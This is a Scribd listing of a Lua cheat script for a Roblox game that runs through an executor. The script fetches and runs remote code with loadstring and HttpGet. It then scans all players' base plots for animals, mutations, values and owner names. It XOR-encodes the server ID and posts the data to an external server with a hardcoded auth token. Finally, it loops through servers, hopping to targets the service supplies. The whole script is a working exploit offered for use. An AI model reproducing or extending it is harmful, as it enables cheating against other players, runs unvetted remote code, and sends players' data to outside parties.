0% found this document useful (0 votes)
30 views4 pages

Roblox Brainrot Data Scanner Script

The document is a Lua script designed for a game, utilizing services like HttpService and TeleportService to manage and manipulate game data. It includes functions for notifying users, applying mutations to game entities, retrieving data about animal podiums, and posting data to a server. Additionally, it features a teleportation function to switch servers based on server data retrieved from a specified URL.

Uploaded by

mytvacounthome
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
30 views4 pages

Roblox Brainrot Data Scanner Script

The document is a Lua script designed for a game, utilizing services like HttpService and TeleportService to manage and manipulate game data. It includes functions for notifying users, applying mutations to game entities, retrieving data about animal podiums, and posting data to a server. Additionally, it features a teleportation function to switch servers based on server data retrieved from a specified URL.

Uploaded by

mytvacounthome
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

local WindUI =

loadstring(game:HttpGet("[Link]
download/[Link]"))()
local HttpService = game:GetService("HttpService")
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
local Mutations = require([Link])
local Animals = require([Link])

function Notify(title, content)


WindUI:Notify({
Title = title,
Content = content,
Duration = 3,
Icon = "info"
})
end

local request = (syn and [Link]) or (http and [Link]) or http_request or


request
if not request then
Notify("Notification", "Executor does not support request")
return
end

function ApplyMutation(data, mutName)


local m = Mutations[mutName]
if not m then
return data
end

[Link] = ([Link] or 0) * (1 + ([Link] or 0))


[Link] = ([Link] or 0) * (1 + ([Link] or 0))
[Link] = [Link]

return data
end

function GetOwner(plot)
local s = plot:FindFirstChild("PlotSign", true)
if not s then
return "Unknown"
end

local gui = s:FindFirstChild("SurfaceGui", true)


if not gui then
return "Unknown"
end

local t = [Link] or ""


return t:match("^(.-)'s Base") or "Unknown"
end

function GetPlotBrainrotData(plot, index)


local podiums = plot:FindFirstChild("AnimalPodiums")
if not podiums then
return
end
local podium = podiums:FindFirstChild(tostring(index))
if not podium then
return
end

local spawn = [Link]:FindFirstChild("Spawn")


if not spawn then
return
end

local attachment = spawn:FindFirstChild("Attachment")


if not attachment then
return
end

local board = attachment:FindFirstChild("AnimalOverhead")


if not board then
return
end

local NameGui = board:FindFirstChild("DisplayName")


if not NameGui or not [Link] then
return
end

local raw = Animals[[Link]] or {}


local data = [Link](raw)

[Link] = [Link]
[Link] = [Link] or "Unknown"
[Link] = [Link] or 0

local MutGui = board:FindFirstChild("Mutation")


if MutGui and [Link] then
[Link] = [Link]
data = ApplyMutation(data, [Link])
else
[Link] = "None"
[Link] = [Link] or 0
end

[Link] = [Link]
[Link] = GetOwner(plot)
return data
end

function ScanBrainrots()
local results = {}
for _, plot in ipairs([Link]:GetChildren()) do
local podiums = plot:FindFirstChild("AnimalPodiums")
if podiums then
for idx, _ in ipairs(podiums:GetChildren()) do
local data = GetPlotBrainrotData(plot, idx)
if data then [Link](results, data) end
end
end
end
return results
end
function EncodeJobID(JobID)
local XORKey = "VisionX_bWvRC4rezEVRm3gwju78"
local x = {}

for i = 1, #JobID do
local b = [Link](
JobID:byte(i),
XORKey:byte((i - 1) % #XORKey + 1)
)
[Link](x, [Link](b))
end

local raw = [Link](x)


local ok, result = pcall(function()
return HttpService:Base64Encode(raw)
end)

if not ok then
result = raw:gsub(".", function(c)
return [Link]("%02X", [Link](c))
end)
end

result = result:gsub("a", "A"):gsub("b", "B")


return "VisionX_" .. result
end

function PostDataToServer(data)
local encoded = EncodeJobID([Link])
local PlayerCount = #Players:GetPlayers() - 1

local payload = {
JobID = encoded,
Brainrots = data,
PlayerCount = PlayerCount
}

local success, res = pcall(function()


return request({
Url = "[Link]
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
["X-Client-Auth"] = "VisionX_xToG2ElO4iz87KcQmVkN"
},
Body = HttpService:JSONEncode(payload)
})
end)

if not success then


Notify("Notification", "Failed to upload data: " .. tostring(res))
return false
end

Notify("Notification", "Uploaded data successfully")


return [Link] == 200
end
function TPReturner()
local url = "[Link]
local success, res = pcall(function()
return request({Url = url, Method = "GET"})
end)

if not success or not res or [Link] ~= 200 then


return false
end

local json = HttpService:JSONDecode([Link])


if not json or not [Link] or not [Link] then return false end

local id = tostring([Link])
if id == [Link] then return false end

Notify("Notification", "Teleporting to new server \n" .. id)


TeleportService:TeleportToPlaceInstance([Link], id, [Link])
return true
end

function Main()
if not game:IsLoaded() then [Link]:Wait() end
[Link](3)

local scan = ScanBrainrots()


Notify("Notification", "Found " .. #scan .. " brainrots")

if #scan > 0 then


PostDataToServer(scan)
end

[Link](2)

if _G.AutoHop then
while true do
local success = TPReturner()
if not success then
[Link](1)
else
[Link](2)
end
end
else
print("Finished")
end
end

Main()

You might also like